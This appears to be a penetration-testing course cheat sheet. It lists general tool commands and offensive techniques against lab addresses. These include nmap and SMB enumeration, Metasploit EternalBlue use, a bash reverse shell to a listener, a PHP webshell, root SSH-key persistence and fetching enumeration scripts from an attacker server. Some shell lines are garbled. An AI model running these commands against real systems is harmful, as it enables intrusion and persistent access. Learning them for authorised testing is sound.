Basic Tools

Command Description

General
sudo openvpn user.ovpn Connect to VPN

ifconfig/ip a Show our IP address

netstat -rn Show networks accessible via the VPN
ssh [email protected] SSH to a remote server
ftp 10.129.42.253 FTP to a remote server

tmux
tmux Start tmux
ctrl+b tmux: default prefix
prefix c tmux: new window
prefix 1 tmux: switch to window (1)
prefix shift+% tmux: split pane vertically
prefix shift+" tmux: split pane horizontally
prefix -> tmux: switch to the right pane

Vim
vim file vim: open file with vim
esc+i vim: enter insert mode
esc vim: back to normal mode
 x vim: Cut character
dw vim: Cut word
dd vim: Cut full line
yw vim: Copy word
yy vim: Copy full line
p vim: Paste
:1 vim: Go to line number 1.
:w vim: Write the file 'i.e. save'
:q vim: Quit
:q! vim: Quit without saving
:wq vim: Write and quit

Pentesting

Command Description

Service Scanning
nmap 10.129.42.253 Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253 Run an nmap script scan on an IP
locate scripts/citrix List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40 Run an nmap script on an IP
netcat 10.10.10.10 22 Grab banner of an open port
 smbclient -N -L \\\\10.129.42.253 List SMB Shares
smbclient \\\\10.129.42.253\\users Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254 Brute force SNMP secret string

Web Enumeration
gobuster dir -u http://10.10.10.121/ -w Run a directory scan on a website
/usr/share/dirb/wordlists/common.txt

gobuster dns -d inlanefreight.com -w Run a sub-domain scan on a

/usr/share/SecLists/Discovery/DNS/namelist.txt
website
curl -IL https://www.inlanefreight.com Grab website banner
whatweb 10.10.10.121 List details about the
webserver/certificates
curl 10.10.10.121/robots.txt List potential directories in robots.txt
ctrl+U View page source (in Firefox)

Public Exploits
searchsploit openssh 7.2 Search for public exploits for a web
application
msfconsole MSF: Start the Metasploit
Framework
search exploit eternalblue MSF: Search for public exploits in
MSF
use exploit/windows/smb/ms17_010_psexec MSF: Start using an MSF module
show options MSF: Show required options for an
MSF module
 set RHOSTS 10.10.10.40 MSF: Set a value for an MSF
module option
check MSF: Test if the target server is
vulnerable
exploit MSF: Run the exploit on the target
server is vulnerable

Using Shells
nc -lvnp 1234 Start a nc listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' Send a reverse shell from the
remote server

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\ /bin/sh -i 2>&1\

`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\ /bin/bash -i 2>&1\

nc 10.10.10.1 1234 Connect to a bind shell started on
the remote server
python -c 'import pty; pty.spawn("/bin/bash")' Upgrade shell TTY (1)

ctrl+z then stty raw -echo then fg then enter Upgrade shell TTY (2)
twice
echo "<?php system(\$_GET['cmd']);?>" > Create a webshell php file
/var/www/html/shell.php

curl http://SERVER_IP:PORT/shell.php?cmd=id Execute a command on an

uploaded webshell

Privilege Escalation
./linpeas.sh Run linpeas script to enumerate
remote server
sudo -l List available sudo privileges
 sudo -u user /bin/echo Hello World! Run a command with sudo
sudo su - Switch to root user (if we have
access to sudo su)
sudo su user - Switch to a user (if we have access
to sudo su)
ssh-keygen -f key Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> Add the generated public key to
/root/.ssh/authorized_keys
the user
ssh [email protected] -i key SSH to the server with the
generated private key

Transferring Files
python3 -m http.server 8000 Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh Download a file on the remote
server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh Download a file on the remote
server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh Transfer a file to the remote server
with scp (requires SSH access)
base64 shell -w 0 Convert a file to base64

`echo f0VMR...SNIO...InmDwU \ base64 -d > shell`

md5sum shell Check the file's md5sum to ensure it
converted correctly